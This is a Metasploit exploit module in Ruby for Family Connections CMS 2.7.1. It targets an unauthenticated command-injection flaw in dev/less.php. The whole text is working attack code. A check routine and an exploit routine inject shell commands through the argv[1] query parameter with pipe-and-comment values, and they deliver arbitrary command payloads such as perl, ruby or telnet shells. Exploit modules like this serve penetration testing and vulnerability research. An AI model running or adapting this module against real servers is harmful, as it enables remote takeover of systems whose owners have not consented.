Family Connections CMS 2.7.1 – ‘less.php’ Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Family Connections less.php Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in Family Connections 2.7.1. It's in the dev/less.php script and is due to an insecure use of system(). Authentication isn't required to exploit the vulnerability but register_globals must be set to On. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit 'juan vazquez' # Metasploit module ], 'References' => [ [ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ], [ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ], [ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ], [ 'URL', 'http://www.exploit-db.com/exploits/18198/' ] ], 'Privileged' => false, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet perl ruby', } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'Nov 29 2011', 'DefaultTarget' => 0 )) register_options( [ OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]), ],self.class) end def check uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php" mark = Rex::Text.rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'argv[1]' => "|echo #{mark};#" } }, 25) if res and res.code == 200 and res.body =~ /#{mark}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php" start_mark = Rex::Text.rand_text_alpha(rand(5) + 5) end_mark = Rex::Text.rand_text_alpha(rand(5) + 5) custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#" res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'argv[1]' => custom_payload } }, 25) if res and res.code == 200 and res.body =~ /#{start_mark}/ # Prints output when using cmd/unix/generic result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0] if not result.strip.empty? print_status("Result of the command:\n#{result}") end end end end |